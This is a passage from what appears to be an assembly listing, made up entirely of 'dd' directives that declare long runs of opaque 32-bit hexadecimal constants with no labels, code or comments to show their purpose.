6609A563h, 15DE73F8h, 0FB4B83F1h, 0FA25169Fh, 0DA217980h dd 0E20BD15Bh, 665DD768h, 16E1430h, 0FA4AB87Fh, 0F5AA3E34h dd 0E93021C7h, 5660172h, 2DAFB02Ah, 10026331h, 68F07C08h dd 88305E57h, 0AC5B7F92h, 2568E9DCh, 0DAE66F8Fh, 0D76A18B5h dd 4953B355h, 0A3F5B95Dh, 82A3B508h, 34272D88h, 509FE172h dd 20DE905Ah, 6826F857h, 0F642C31Ch, 0C25104B2h, 0BEA8970Ah dd 94CFA5AEh, 0D1F26809h, 5E8BA039h, 7EF0A7CAh, 2025F94Ch dd 7BA2827Eh, 2EF91D8h, 7BB8E781h, 0CFEF405Bh, 256BF88Bh dd 8800D108h, 0E6410FF4h, 53B0609Fh, 4C7000BBh, 0E3C13298h dd 0CB048107h, 0A6E4D8Dh, 5A8185BDh, 3C4E4146h, 26BB4A20h dd 3A500C99h, 0FCF909D5h, 0FE0598CFh, 5BDE3146h, 348A88BAh dd 40B67312h, 1AEB7417h, 71D73EF6h, 8D1649B2h, 8FB6E917h dd 3F05CE91h, 77C2C6C9h, 2127EC6Ch, 0EDEED5C1h, 0E25E918h dd 12B9BA46h, 0EC160866h, 41683F1Bh, 691BD420h, 825561EAh dd 60AC55h, 1425CDBDh, 0E9845F4h, 44286407h, 0EF6AC117h dd 5F67C501h, 0A13A61F8h, 29404072h, 147FAF4Ch, 4623C606h dd 4E6A2187h, 6D1B457Bh, 0F9F3EAA5h, 0D327B121h, 1052A45Bh dd 125B3BF7h, 0DDF9277Ah, 0FC1A929Eh, 0F4542F6Ch, 0F25752B5h dd 0CB0359D2h, 2F6B8E41h, 0A7E90BCEh, 55382923h, 407D49EBh dd 70002C4Fh, 0CA06C6BFh, 0B6DBF438h, 93491DCEh, 27F0EC32h dd 51ED575Ah, 433B9A25h, 0A99691CEh, 0B2C6696Ch, 0ED05A146h dd 4A5B3E7Bh, 0BA0095F3h, 8F548B7h, 724BFDE9h, 1C89D5BDh dd 8D0B1BE2h, 242047FFh, 4B7B478Bh, 1B6824D9h, 7C9FE942h dd 8BD6AFDEh, 0B8C43A12h, 0F29CDCAAh, 4031305Bh, 8407D34Ah dd 971387E3h, 0FCB70F06h, 36710477h, 40EA2C80h, 652FE6E7h dd 0D3B809DDh, 6AE3F15Ah, 2334864Ch, 0E7B7EA84h, 0FC2CEE4Eh dd 0F43C0751h, 210D2D7Eh, 20351C78h, 535A7459h, 1793ACA4h dd 0A1FE77BFh, 92AC3AA7h, 0FAD51CB3h, 2CE90D6Ch, 407E071Dh dd 7DAA532Bh, 0AF2FA0A1h, 6442740Dh, 5541C050h, 7101165Bh dd 5D296FB8h, 0FC2B3132h, 0C035C0BBh, 7054415Ch, 0BC6A1E0Dh dd 142B8775h, 0CD2D209Bh, 6358257Ah, 18F601F6h, 0C2012F90h dd 8A096137h, 53057A54h, 35C9BB80h, 3450652Dh, 62578267h dd 5D48FDD5h, 7D250F9Ch, 36B6C555h, 809E628h, 78774D49h dd 0B36FE379h, 6162D964h, 4FDB100h, 0C85C9D70h, 14405A30h dd 934098EBh, 0B3FA218h, 24007D08h, 0B2713205h, 0E5001375h dd 48430A7Ch, 26D1312Dh, 3C05150Fh, 5ED26041h, 83098391h dd 0C26DDCC5h, 0DFD8EAE9h, 8A2BE5Ah, 0B85EF013h, 17F54F52h dd 0E1055B20h, 0E0A6FC3Bh, 9728BCE9h, 0FA8D7BA4h, 0AA7C9045h dd 97071FE4h, 0C74BF98h, 355A170Ch, 27680B70h, 0C67A1CE8h dd 79BF4B70h, 535E607Eh, 4C655A68h, 0BFAC5D2Bh, 200EBBC1h dd 7913071h, 308F4B5Dh, 80048CCEh, 3C9873C1h, 0F92EB0EFh dd 0B6528123h, 7CF788BAh, 0D12CA071h, 0A6512DE9h, 0F651DB7Eh dd 0F780403Ah, 78533B56h, 0A7890CC1h, 473A830Ch, 0BC5EF110h dd 4F442048h, 1B1E0DE1h, 0AF1A75C2h, 0E38C7504h, 0A02F4398h dd 0C2DAC2EFh, 5BD95F9Ch, 0B6E35F72h, 41E0C39Ah, 50153A68h dd 0D26C0540h, 0F20242FCh, 4ED5115Ch, 17CDCD60h, 0E9290C04h dd 40AF7CC8h, 6584F510h, 72C17BF0h, 1C9A408Ah, 3B2CC73Ah dd 2E5F2E69h, 12EA2BFAh, 1A537012h, 57ACCF92h, 786505CAh dd 1B8D0888h, 0E6C9675Eh, 0D9419D09h, 0D42648CBh, 672F8B61h dd 608698AFh, 75B4C1BEh, 0F2E31E32h, 2BCB06D0h, 0C4294256h dd 69F84F4Fh, 0B2D7F718h, 0FB2F15A7h, 3C8FFC6Dh, 425EE29Eh dd 0ECE9145Dh, 0BF0030D6h, 5A8D713Ch, 26F96F29h, 0DB3667C1h dd 2E44061h, 16EBD55h, 531C92C9h, 0D0FB1192h, 9B468F4Ch dd 0F7097C12h, 0FD5BA1BCh, 1FCEDED2h, 0D9EE161Ah, 0F1C86AA2h dd 6A1C4523h, 0E35BC49Fh, 59697CDFh, 51BAA96Ch, 76766983h dd 56BB68C2h, 16CE6A18h, 0AE2CABD1h, 68500956h, 0C00926A6h dd 29740757h, 8FD35799h, 87ED125h, 0B3023B7Ch, 47F32829h dd 9E726C0h, 0A5495479h, 1DBF2E02h, 7F516F37h, 55573109h dd 2B6DA118h, 9EE14C95h, 5E5D096Bh, 0B3D5CA05h, 82D9586Ah dd 0DCAD02E9h, 1CB04921h, 1D166F68h, 1E2085Dh, 4462EF16h dd 0EA6A4AF2h, 4FE9D438h, 0BA4000B3h, 48136CEBh, 1EA8316h dd 3AA8FE02h, 447640C4h, 8C279E53h, 0E64305A7h, 0F18C8993h dd 0BD01C961h, 532FCE5Bh, 0F7C02D45h, 0CD886BD9h, 4A8AF6ACh dd 0AE581337h, 9ADCB8F5h, 97502DC6h, 8908BC56h, 0A1F825DEh dd 0A39AB6F0h, 0B10B1FB0h, 54739204h, 0EFD10951h, 4E1E788Fh dd 0DFAB420Eh, 0CA37E958h dd 7E677941h, 424DE262h, 81788D9h, 9644702Fh, 0DCBB0190h dd 284ECB59h, 0D2C2F1FBh, 0A01BB57Dh, 2E2D0DCAh, 88EF55Bh dd 0A9696887h, 7008D571h, 1D117A4h, 7CFE546Dh, 51A07E08h dd 421955Fh, 28C8BF0Fh, 4A573A84h, 0B73094BCh, 2CCBB3Ah dd 21121D0Ch, 0B4F4B4D9h, 0EB7327E7h, 3C96E02Fh, 0B5D3956Fh dd 0C40257AFh, 2FD72D4h, 488CDFE1h, 985AD532h, 2B8F1349h dd 52CAF42Fh, 8C62BA42h, 0C992E7DDh, 177AC240h, 2757F948h dd 0B81A0048h, 0C4A9266Ah, 0C601E2Eh, 4E680E50h, 0C02DEBC9h dd 0A450D3F9h, 0F040478Fh, 91FF95E2h, 66E4549Ch, 0C0D1CEFAh dd 8478139Eh, 175EF7Ah, 8A30C8BAh, 841C26BAh, 7FEC56D9h dd 7050B6B0h, 0E9340DF8h, 3F3D3E21h, 2DF31580h, 256C7D16h dd 0DB56AC83h, 715F2262h, 0E168010Eh, 0F52AE751h, 3CD17BAFh dd 0A30728D5h, 14053F57h, 0C6FED6F6h, 0BF9C88ABh, 0E0101A09h dd 0CF64061h, 425D5F5Fh, 7B1217A2h, 9A5B5C02h, 0C272C081h dd 6E973F45h, 69407727h, 426F028h, 0CF2F562Ah, 4A41A8D3h dd 0ACBEEB7h, 1805BF4Ch, 0BEAE669Bh, 61B32716h, 599BE9C7h dd 606ED95Dh, 6851525Eh, 79721201h, 2BE95947h, 0F52E2765h dd 0FFE22A5Fh, 0D0B0D017h, 3BFB05B0h, 897C7601h, 0D80158C3h dd 443CAE3Bh, 75114D45h, 374C2313h, 0ADE335ADh, 91B8922Bh dd 86E95081h, 0F9473A4Bh, 0AE255FB6h, 800719A1h, 4D833001h dd 0EF2DEA2Fh, 5AC31050h, 9717E630h, 4D2F4916h, 4110D14Ch dd 8B80B9E9h, 805A5BEAh, 3B0ACB85h, 0CAB3A023h, 0EB440663h dd 88424A59h, 3017370Bh, 5A4E0335h, 46ABE4E9h, 6B6B5629h dd 0EB7A5F26h, 8BE1E8C5h, 0B5EA29F0h, 4D00EEF0h, 969C577h dd 0BDF0E9DAh, 0E5022152h, 55E663E4h, 20F84045h, 60071B01h dd 92003A31h, 119638D9h, 95432EE9h, 0EBBEF445h, 9CC4DD0Ch dd 1D0F2A0Ah, 0F705D50Bh, 7EC2C01Bh, 9713F027h, 2FF53CDFh dd 888A0DE9h, 0E635A2Bh, 899007F6h, 3ED67FA2h, 2B5BDD8Bh dd 0BFFA0098h, 4DA70583h, 0E210FD35h, 3DC8055h, 483119A4h dd 7F194CCBh, 6FEA1D52h, 1766CB8h, 0A678D8C2h, 411A0159h dd 6A743FBFh, 0A97F3ECDh, 1AED10EDh, 1DE4312Fh, 0C707F225h dd 9768045Fh, 0E9569C2Ch, 44F22631h, 0C6DCF988h, 0DAF5ABB1h dd 845ED942h, 0C1393247h, 6CEAF9F9h, 72099E8Ah, 0F059447Eh dd 290D40C5h, 3AC6C650h, 32855718h, 2015110Ch, 0A6B51C40h dd 0B0E5832h, 3E7E5BA6h, 9489F038h, 68E36DC2h, 0D4B15F6Ah dd 486C75h, 0E8C0D00Ch, 0FA1D3402h, 0ECFE783Bh, 0C6282E2Ch dd 0C1DEAFBDh, 7D1A5242h, 0C65F361Ah, 0B354F5A5h, 7727BB1Ah dd 0C3804430h, 942A8D98h, 0B809945Eh, 50343B11h, 0EE4C0973h dd 4D2CBC4h, 380557F4h, 209DE979h, 7E0189EBh, 9C2D16A6h dd 0B4290F09h, 0F70920C7h, 43B5219h, 0DF87FB71h, 18C98005h dd 0F8280106h, 0E92F072Dh, 24387F96h, 0F3BBD601h, 87DE2Dh dd 5FA15BAh, 0D67AE949h, 0D75A19B2h, 0B39401FBh, 6FC3EC80h dd 9505FCB0h, 0C1B77303h, 0B2522600h, 4CF28088h, 2C799020h dd 53FA7302h, 2F7C6EDFh, 6052B6DCh, 92599BCAh, 42D63CC5h dd 8CAC9F16h, 0CC59E674h, 377F02A3h, 9890879h, 8E1D107Fh dd 0F4CF7E61h, 87842AE9h, 179349CDh, 3E47347Ah, 41A8BF14h dd 77E82FA9h, 1E67BBA7h, 17A2088h, 2679C1B9h, 0AA6AE87Eh dd 68819091h, 1DB4CDEh, 9612E1F4h, 16D74B81h, 0B35317AEh dd 439D0CC9h, 0F696EF2Bh, 0E869418Bh, 26357FDDh, 0D750C4h dd 22E278F8h, 0E912D2F7h, 83C9365Bh, 0EE2BB6ADh, 64E95381h dd 0DCC6490Ch, 689572EBh, 807F2A28h, 3A73F480h, 90A8CC3Dh dd 0C458C76Ch, 9654881Ch, 79720032h, 8134610Dh, 182ECD0Bh dd 18D6D897h, 324136E9h, 730FB151h, 74C5C980h, 897869D1h dd 2A27BD1h, 39360E21h, 2516BD16h, 0A836120Bh, 61B2E04Ah dd 60A49E72h, 46D43F1Ch, 58C23118h, 0B0F0CB4h, 1FE92920h dd 0EDD089ABh, 0F416759Dh, 675771BFh, 0CEF78B62h, 0F7519568h dd 110FAACAh, 0D137002Ah, 0E9F749E1h, 54EDC441h, 5D6028CDh dd 685A80A3h, 662EB72Fh, 2BBB1D25h, 0BE22C646h, 19BC0B2Fh dd 0E9F12102h, 8F6154B3h, 0CB4763CFh, 107EB23Fh, 5151E976h dd 1729BA3Eh, 3E7BDD3Eh, 0DCFB8124h, 0DD59E946h, 46B00052h dd 2C06E0C0h, 0BBD6958Ch, 33542113h, 6FC500C3h, 51D09EBh dd 584EFAAFh, 56048C1Fh, 0FE26ADE9h, 5793B28Ah, 0F0C0EB60h dd 25239D68h, 0D94DB4h, 0ABBCF660h, 316E1696h, 5B6308F2h dd 0E4CD890Eh, 0BE00DE02h, 2CD56B9Ah, 5B6DE8C1h, 587C4177h dd 8DF3D102h, 445F315Eh, 725FC1h, 5AE6BD18h, 68907562h dd 321270A0h, 278222Eh, 4A4B55A7h, 0B6B60F7h, 0F0BF4189h dd 8C15101h, 0C98B46F4h, 0E311D197h, 165DCEEBh, 0F5E2FB16h dd 8084EA7Bh, 5E863EBh, 21077718h, 9EA3FBC2h, 12AF0D4Ah dd 0E3E4BAC1h, 2E091412h, 0F128CC54h, 0CDE92C07h, 0C5688B6Ah dd 0B746EF2Fh, 0A50A1577h, 0ED516232h, 9566E08h, 0E30004B0h dd 59C828E5h, 7C4F80B0h, 58D5D9A5h, 5734FB2Fh, 55E7A401h dd 7941064Dh, 0B9811E8Fh, 0B87FD5E2h, 0F5040007h, 24FB4ADFh dd 90F68277h, 0A2D5BD2h, 4C2CCC5Dh, 2D87E9D9h, 657D0B1Ah dd 49418BF1h, 0DA61BD3h, 5C754B09h, 725F7AA2h, 2BD30A10h dd 9E4B47h, 3C2FE2C1h, 6971E923h, 163261C5h, 0D6753BF2h dd 0C6D4059Ch, 5B88EB4Ch, 0F76817F2h, 74587261h, 56EE5D72h dd 0A631CFC9h, 0C1F80CCh, 3DDA6859h, 9696E26Fh, 2006BB19h dd 0B46C1489h, 591B4E75h, 5E243CD4h, 25245Bh, 1DBD7B86h dd 0F302814Bh, 0E53E6F8Eh, 16D26031h, 6E68805Bh, 41E3695Eh dd 0B78CAC39h, 0FA44576Ch, 7BF45E10h, 7A6AE305h, 704F8742h dd 665190CBh, 1CE92A1Ah, 88D655EBh, 2E284558h, 0EF46A39h dd 9561D7BFh, 0DDE9F701h, 7A85352Ch, 4CECD3F4h, 9543359h dd 95547E52h, 57DA5AD6h, 0FE4EF596h, 5B1227EDh, 0E3C8EB15h dd 9F406F3h, 9C43211Eh, 60A8FE5Eh, 31E0804Ah, 0EA905BDAh dd 60D59855h, 0EF408B6Ah, 22E60681h, 0CC24DA2Eh, 48180406h dd 2F3D8923h, 1FE05BDFh, 7E9F71E9h, 40C36BACh, 81D72191h dd 49EC7D2h, 0C8252EAh, 8C05C655h, 2E5A047Dh, 4D7C10Eh dd 0AC59A732h, 29E19273h, 8725FD7Eh, 4F087990h, 2542840Bh dd 3A0CAE61h, 9705083Dh, 9FE0E3AEh, 0E50DE56Fh, 0FE12958Bh dd 0B9B16FE2h, 0C2EE6240h, 0FD1C01E9h, 534455F3h, 4A1267E2h dd 5B13E3BAh, 0D55631C2h, 0B7858445h, 9282CC38h, 95DCD8D9h dd 0E9D917FEh, 127B78FEh, 7031B9h, 2A6EBA0Fh, 0CAF2213Eh dd 0E9E240F1h, 0CF9EB9BCh, 989FB62h, 6395678h, 0C50BEFD1h dd 29BE2C76h, 4B80791Eh, 0B79D8AB0h, 0F7F8FB78h, 0C4A5965Bh dd 5C30C2E7h, 450501F2h, 7E603D46h, 70462E1h, 60BC7595h dd 82475FF1h, 4ED6F37Dh, 0B28B751Ch, 5A882C45h, 0DEB00236h dd 38E29A0Ch, 5D4BC3F8h, 0A010848Eh, 68786154h, 1B381DEEh dd 0B14EDAC1h, 279D2050h, 600E5D02h, 917DDD68h, 346A51FBh dd 0B6B2BE7Ah, 26158A1Ah, 97E9D07Dh, 0D62D4B70h, 0E2821392h dd 580F5840h, 0FA588804h, 2E2C002h, 98F7E068h, 127FB540h dd 56D898E9h, 3AC8FFA6h, 8CF26687h, 5E4C3056h, 9DC30276h dd 61CEE7BFh, 3A489B6Fh, 28365FBDh, 504D3450h, 1EAC4A1Ah dd 878F4E0Eh, 0EC270893h dd 5D0DB927h, 103FA62Eh, 0A84F45F1h, 0D8AA4EF8h, 40A066F6h dd 0EF96F22Bh, 8AEED2EFh, 0EDE90C01h, 77B10A0Fh, 0BF3C2563h dd 0DF688590h, 0BB8C7C4Eh, 25710B36h, 0D3805E18h, 219D79C9h dd 9CBEE8BDh, 1D2D083Eh, 0CC85401h, 42B5A18h, 534209EEh dd 66DD295Dh, 610C8264h, 4C259EF0h, 6EBAA16Bh, 4409DB2Ch dd 8A7FC1C3h, 1C73D925h, 68521C64h, 3FF5F2BCh, 4F176CFCh dd 67F5C295h, 78F8B5F1h, 0E9F80929h, 99B543Bh, 19B8C1h dd 0A057D1F7h, 2717B2D7h, 0A0577D0Eh, 0C24DD3EDh, 44C8B833h dd 5ABFC653h, 8F4C952Ah, 0D4A3601h, 59CE291Eh, 0D1D6BE38h dd 42DD03Ah, 0BF1734EBh, 94A79A9h, 9229E5E9h, 0CB0816D4h dd 61FF2527h, 0A86AEBEFh, 0B38E5060h, 4C620CB9h, 0D01257D5h dd 3B3D2261h, 53AA3135h, 3C370DE4h, 6083316Bh, 1769024Ah dd 12294712h, 8FE3FECDh, 0FB4A3C48h, 0D342F329h, 0FF8109F0h dd 6579CB70h, 5A509C97h, 2129750Eh, 0ECAE9CFh, 532EF67Dh dd 161311B7h, 39EE58C1h, 4AB62A12h, 2C72777h, 5F6913F1h dd 5030D2FAh, 5EF15711h, 0F7D91987h, 0E48108D3h, 454F08B6h dd 780026FCh, 401A931Dh, 0BDF8482Dh, 6BED1E4Eh, 2DE62B10h dd 760BD552h, 30681F22h, 62CC8409h, 63D4491Eh, 2081165Dh dd 801C8AFCh, 0C5CE27CDh, 59E8079Fh, 8E2CF800h, 0EA5ED2E9h dd 267965A2h, 17595A5Dh, 0E56E49F1h, 0AECDC700h, 4F76E233h dd 0BFACF512h, 0D4FF8013h, 0DECAFBF6h, 0E36AA613h, 81DD24B3h dd 204263ACh, 87C75559h, 8026712Ch, 10A997BAh, 12FAB3E4h dd 8072187Bh, 997623Ah, 5AF2E249h, 536228EFh, 0FB89135Ah dd 9C658DE0h, 4AFFE9C4h, 0B831C29Fh, 8097722Dh, 4C26EB80h dd 0A18C450h, 140BCFB5h, 8444B972h, 0C300AA48h, 9969108h dd 4BB05FFEh, 0F03FA9B0h, 8BCE8254h, 77709067h, 0BF1DF4AEh dd 71567427h, 85BC5F49h, 5E8BFCBCh, 7A06F662h, 2D00026Ch dd 6A477FB2h, 0A005E801h, 5AE95D07h, 0EF231786h, 12FEE774h dd 90CDEA29h, 0F675AA3Eh, 38EB0994h, 0E91652D7h, 6129932Eh dd 4F1535BFh, 0C52FE7FCh, 0CBA0DD7h, 27C6AC7Eh, 617C745Eh dd 408257E9h, 83239B18h, 0ED040C76h, 0D1ECF6E8h, 0F1CBB0FAh dd 0D9FECC0Bh, 499E84B9h, 16268FA3h, 215F926Bh, 69B34Dh dd 9809EB6h, 0F488B8C6h, 0A4727B02h, 70D07F09h, 7D0F6A25h dd 0BD82C9C5h, 69C72082h, 1425ADD7h, 0AD712EE1h, 2D7FE141h dd 934FE33Ah, 0EBD3F8A8h, 4F348FB4h, 1650D80Fh, 85A16549h dd 0AFE8609Eh, 0B304AB97h, 0C717680Bh, 10CB62FFh, 9991E77Dh dd 7E5BA90Eh, 83D544F3h, 2C22680Ah, 50BF873Dh, 0C278B447h dd 0BE001B6Fh, 7AF46C28h, 48BA326Eh, 6A5F052Eh, 0EBCCD5BBh dd 9D7BDE2Bh, 0AE019C1Ch, 6985E92Bh, 0F504AE04h, 22B9E056h dd 163B6650h, 81B72562h, 0F2E4E91Fh, 7E27DB73h, 18572F8Ch dd 0A82981D4h, 12336837h, 0A8433F37h, 35B8D766h, 291B3631h dd 0C31FA0EAh, 2A408241h, 7BE3199Fh, 0EDD92D4Bh, 0C70BBAFBh dd 0C46C58Bh, 51A3F6CFh, 0E4AEAA0h, 38C24FC1h, 0A6309017h dd 416E09EAh, 425F1FFEh, 1C080D5Ch, 88EE1404h, 0F42B68A3h dd 6C02A158h, 6015AC35h, 306E9558h, 0A80C661Eh, 0D4C7F54h dd 233E0731h, 0F66012CCh, 48923384h, 174E7186h, 1DCBBFCAh dd 5BDE325Eh, 0F6C2C609h, 160D60E2h, 88C3FE59h, 1667D097h dd 0EB07E6C0h, 5DB51BC2h, 7227E751h, 1B0F3D7Ch, 54DDEB4Bh dd 846AB9F5h, 0BAA5648Fh, 1688E68Ah, 0C7C6C827h, 2C2704E6h dd 0AFDF295Bh, 0B90EEAB9h, 0E0B6E21h, 0D40CD1A7h, 18D7C319h dd 8055EBA1h, 0D72C4E18h, 0D0CF0112h, 2158081Ch, 1C9A1441h dd 23091E59h, 5808D1DFh, 5F4952E9h, 4B6D1799h, 1592351Eh dd 0E95FB5F8h, 0DE30D49Ah, 0C84A4CD0h, 6625FD9Eh, 7992FF3h dd 12D416CCh, 61F9DEBh, 1C84280Ch, 0D85510A2h, 740122F2h dd 7635E12Fh, 0EC9E441Fh, 0FCB01F74h, 128AC2D8h, 8F3BB745h dd 0BDD019DAh, 3B1C759Dh, 9495A9Fh, 300A6239h, 0C1E79340h dd 5E98261Dh, 903AE2BCh, 0E786DF4Eh, 295B491Ch, 0A1BF2AD4h dd 0EBAFBFA4h, 0EE967036h, 0F6624E59h, 0A4081207h, 16B4B7AFh dd 77D55EA3h, 53515701h, 0A06A55B3h, 882E713Dh, 70124ED1h dd 13A132EFh, 0E6B8CB78h, 531F6E61h, 10C38CB7h, 0DD914h dd 55E3C380h, 2D347C68h, 535E117Fh, 5F5FE958h, 97B15654h dd 0E4AFB4B1h, 0FA9FC3DEh, 0E942B967h, 0A1E853C6h, 2C9CFD82h dd 62FAF1B5h, 0EC5BA950h, 0D5F74D80h, 62CBA52h, 8742B338h dd 8C214EAh, 643095E9h, 30A1B2B8h, 0ED47ECF1h, 977C71ABh dd 69BB56BDh, 0D3957FF8h, 81CF145Bh, 2F422910h, 812876BFh dd 1F1E0A05h, 2DB44219h, 535F0780h, 9B4FD7E9h, 0C257DB72h dd 846CD5CAh, 1C075A1Ch, 392599BEh, 0BAEB541Ah, 0FCCAF5A7h dd 86DFE7F7h, 4D9DD5E9h, 582FAFB8h, 15C3D357h, 9D7DFE7Bh dd 0FCBA3C85h, 0EBD10978h, 0B7710143h, 0A06F1A73h, 0D265E9A6h dd 74A36621h, 984BE9C5h, 7D05B8D2h, 507AD814h, 0A94AED0Ch dd 682E09EAh, 740B1B2Ch, 0E9F8D77Eh, 2A654C8Fh, 779E7D87h dd 0FC1DB4EDh, 3F2B51D6h, 0B24A6E2Fh, 913F2262h, 1895BDBFh dd 0BE4B925Eh, 47E653C1h, 0DD002822h, 1154E581h, 149035F9h dd 0C0BA9E09h, 30B9D8E2h, 0FEA2D6F7h, 1B256A64h, 2807F31h dd 0B9719429h, 0E6F20128h, 0F35B140h, 0DA53AF4Eh, 90FD2E4Bh dd 33543AE9h, 4E506FEDh, 0BAAE41F1h, 0A90981Ch, 4B68AD0Ah dd 0DAD3B817h, 2F29D578h, 3E80F3D4h, 0E963855Fh, 0FF474B3Dh dd 76B35B61h, 274914A8h, 1C555B54h, 54F19DDDh, 0FD1B6AC9h dd 30743B83h, 3B2B3951h, 28F8CF84h, 46D45BC9h, 905257E3h dd 50227D68h, 40C9BE40h, 0A5ECAC20h, 1CE74D5Dh, 0C385AB04h dd 0BE87562Ch, 57A49D8Eh, 0C6A12D16h, 513CEF2Ah, 2CA01CB3h dd 0ED813EEh, 0E9C4B18Fh, 0BD1B9128h, 1657EC96h, 0C0446297h dd 4A0A409Bh, 7D758056h, 4A61414Fh, 7683118h, 1C5AD70h dd 901B7532h, 2B4C0DE9h, 16E2F140h, 242101A4h, 8E65AD5h dd 502157Ah, 0D5EA623Dh, 2F7680C0h, 0C260042Eh, 7710C507h dd 8BE9C09Eh, 0BD82BE67h, 51BDD6D8h, 0FD933E4Dh, 575DD234h dd 1F121C7Dh, 813D0171h, 0EC09F0F2h, 74C93A69h, 0B265E42Eh dd 0E0593940h, 0C20426D0h, 13200825h, 42B55104h, 0B5EFA1E1h dd 0E66821A0h, 0E47B954Dh, 9776B0Ah, 55DFBB80h, 12C162FEh dd 0BE4B02E3h, 31A4A00h, 4C89F6D2h, 0E7253FDEh, 655D5D07h dd 80C1433Fh, 36F184F7h, 93237461h, 632F5320h, 8E0483EFh dd 28909C10h, 77F72C28h, 0E9D8761Eh, 68B5C8DAh, 2DD9BC03h dd 0F05B947Fh, 606AB666h, 0CACD80F6h, 0B658E5E6h, 5FD64483h dd 0DC8F6825h, 0FA49883Eh, 12BD8129h, 0E2BF19E8h, 0A4BA803Fh dd 2F7CB616h, 5FEAC1h, 7EEE2D0h, 423D2E27h, 0BC301797h dd 2F0692D2h, 0B56308A8h, 1E813D60h, 46638B96h, 0F0995063h dd 0B6623CD3h, 8404CFC8h, 0C0365227h, 0E445532Fh, 0FEB554Ah dd 0E85783DDh, 8F1C85B1h, 6994A904h, 400EBB12h, 1DAC427Bh dd 8BF9C001h, 92B480E8h, 0E0C4803Dh, 0E4C06606h, 0C853E802h dd 822D4C9Ch, 9165928h, 0AC3B65F5h, 0D2C58835h, 212EF63Ch dd 3649AA22h, 69C89DD0h, 679F19A8h, 0BF62305Ah, 0F33E1FD9h dd 75C79516h, 0C67C8599h, 10DC7CA5h, 959EBF04h, 7E5D0E1Ch dd 87E1E946h, 0E6C12E34h dd 0B0530841h, 0AF1AB10Eh, 0DEC42F6Dh, 5E53527Dh, 65EE8FD5h dd 724CC29Eh, 0A7FCC3E3h, 0E90C4060h, 189FDFE8h, 3E5C63C3h dd 82926CBCh, 183BAD62h, 0EA591811h, 0E12418A5h, 0DB780C49h dd 0EF3A2E27h, 40D34F9h, 0D00774BFh, 0A55EB47Ah, 0D1205AB8h dd 0F708A07Fh, 0F0184B88h, 0D54AB423h, 0EF2F74BAh, 50553F30h dd 53D00068h, 0D1587DA6h, 270B05E0h, 0F43B8AC1h, 82F0BFAh dd 0BE40031Ah, 6CF88060h, 0F6E2F1E6h, 0D824D177h, 0F7812399h dd 51C96638h, 1C5CE43Fh, 32C41149h, 7DB8BF15h, 987B1D74h dd 5B03E9C7h, 0D57F910Dh, 0DD5F0239h, 85FE94B2h, 5D5FF8C2h dd 4512B851h, 66A3B3EBh, 7FB354h, 8B522B6h, 0C3287005h dd 0E0C14F09h, 0FE815F06h, 858E75E9h, 172B052Bh, 0EFC1C412h dd 5403A6ADh, 6D6930B2h, 0CFED7A55h, 0E3D0289Ah, 6277B800h dd 0C3316881h, 53659C58h, 0DA26E218h, 0C439B34Ah, 413210h dd 461ECA81h, 0EEA2D6EDh, 2119BB81h, 0CC3AFBC1h, 974F6B30h dd 0BBB569F2h, 33E418D0h, 1CC295A0h, 7C2E9910h, 0BDC4E697h dd 0BD0107FEh, 8210A74h, 0B76C85E8h, 0AE6BBC22h, 0B189B87Dh dd 93B4381Ch, 2550CC2Ch, 9B94B7FCh, 0D4E575B4h, 737BB252h dd 0E97AC209h, 590F2402h, 1968B5C0h, 1A9B9753h, 565D10FAh dd 10F0E835h, 2D5A13EBh, 8524CEF2h, 0DF5AAF16h, 375658F2h dd 87774C81h, 71A0058Bh, 17EEB81h, 573C70E6h, 3ED88950h dd 13E21544h, 5CE2FBACh, 0E9E14FD1h, 0D96F4151h, 4047E80Bh dd 0FA48FEB2h, 5B142764h, 1BCE2519h, 9C627990h, 5FEFD1E0h dd 5BF5B340h, 7853762Fh, 0FCF0B35h, 63FCFDB4h, 0B0826A2Eh dd 6051BF3Dh, 9DF7525h, 0EF312A1Ch, 0A6AF0785h, 2D45794Ch dd 5FE6E72Fh, 0AEA4A3A9h, 0E4CF8CC2h, 0B8304B97h, 58017622h dd 0E9D8315Ah, 1040DB57h, 0F3B808FAh, 8368B2EDh, 71D46628h dd 0A02B994Ah, 4BDE98FDh, 0D48BBBFDh, 80C12E7Eh, 2B4F8264h dd 444163Eh, 2C80A75Ah, 3905C635h, 0B0753D31h, 734459FAh dd 63F8D62Dh, 8880060Bh, 0FDD22BD2h, 0E90B5447h, 50A22405h dd 0DE8981BFh, 5F412B49h, 636960F4h, 0E2FD562Ah, 0E9116224h dd 96726A2Dh, 9D8C9E0Dh, 176E0243h, 51D50268h, 3FF9ADEh dd 739B12C0h, 35283D01h, 5F864D71h, 145822Eh, 0EA00FBDEh dd 5A77BB3Eh, 996C5D68h, 28DAE90Bh, 0F8B89477h, 0AB02BFCCh dd 2743D1F7h, 7C7E86CAh, 469C620h, 2F58550Ah, 80B15D1Ch dd 2857C140h, 955FE9F1h, 9A5F215Fh, 0DA426D76h, 2127E1D6h dd 0E7B749AAh, 2D680464h, 7913062h, 6E13E556h, 80FAE4C4h dd 7B6E9C4h, 51E323C0h, 24555FB9h, 10314D70h, 3E16606Bh dd 9034045Ah, 3CD2137Ah, 7AD104D9h, 0C43EBCA1h, 0C517AB99h dd 0C3910B91h, 0F101AADFh, 0BE732500h, 0BFF667Dh, 3D0E930h dd 685E69A0h, 0D39F20C4h, 1AB00069h, 525F5DDAh, 0E91555F0h dd 7A396F78h, 0EDFBC0CCh, 0E83241ACh, 0C6957C13h, 4B15B434h dd 70A9CF65h, 476FCC9Eh, 6E93C1Ah, 72D9E2FFh, 25622072h dd 3C5C77E4h, 0B5AD20E3h, 58AF864h, 0E5691781h, 93AD60F6h dd 4BE24B4Ah, 0D9ED809Dh, 0E97FF84Ah, 0EA52F02Ah, 57BE748h dd 678D3380h, 834E16F9h, 4B2F97E0h, 0C000F505h, 6B022F2Dh dd 0B5D4215Ch, 6010F3B6h, 372C1E7Eh, 836835C2h, 0AA98D769h dd 0F86F28DFh, 7F08EBF1h, 0E9250ECCh, 285E20Ch, 0DE1BE7D8h dd 3A3E62C7h, 501E38D3h, 773FF7CBh, 0EA4E8994h, 8CEF4047h dd 210131D0h, 5F27C9F8h, 5B487277h, 0CF110059h, 559030A9h dd 704B34C1h, 0E0307987h, 8E5D02AFh, 801E909h, 0AC78C57Dh dd 0C4CC12E3h, 7EAC04Dh, 0A373F281h, 0D64A7425h, 357CA79Ah dd 0C69E5D2Fh, 0AAE118BFh, 6B97BC80h, 0D7FAA1A2h, 0F02B780Bh dd 1762BC0Fh, 0F96BA021h, 4BB3235Eh, 6A27A611h, 8605F648h dd 27802B04h, 251875C6h, 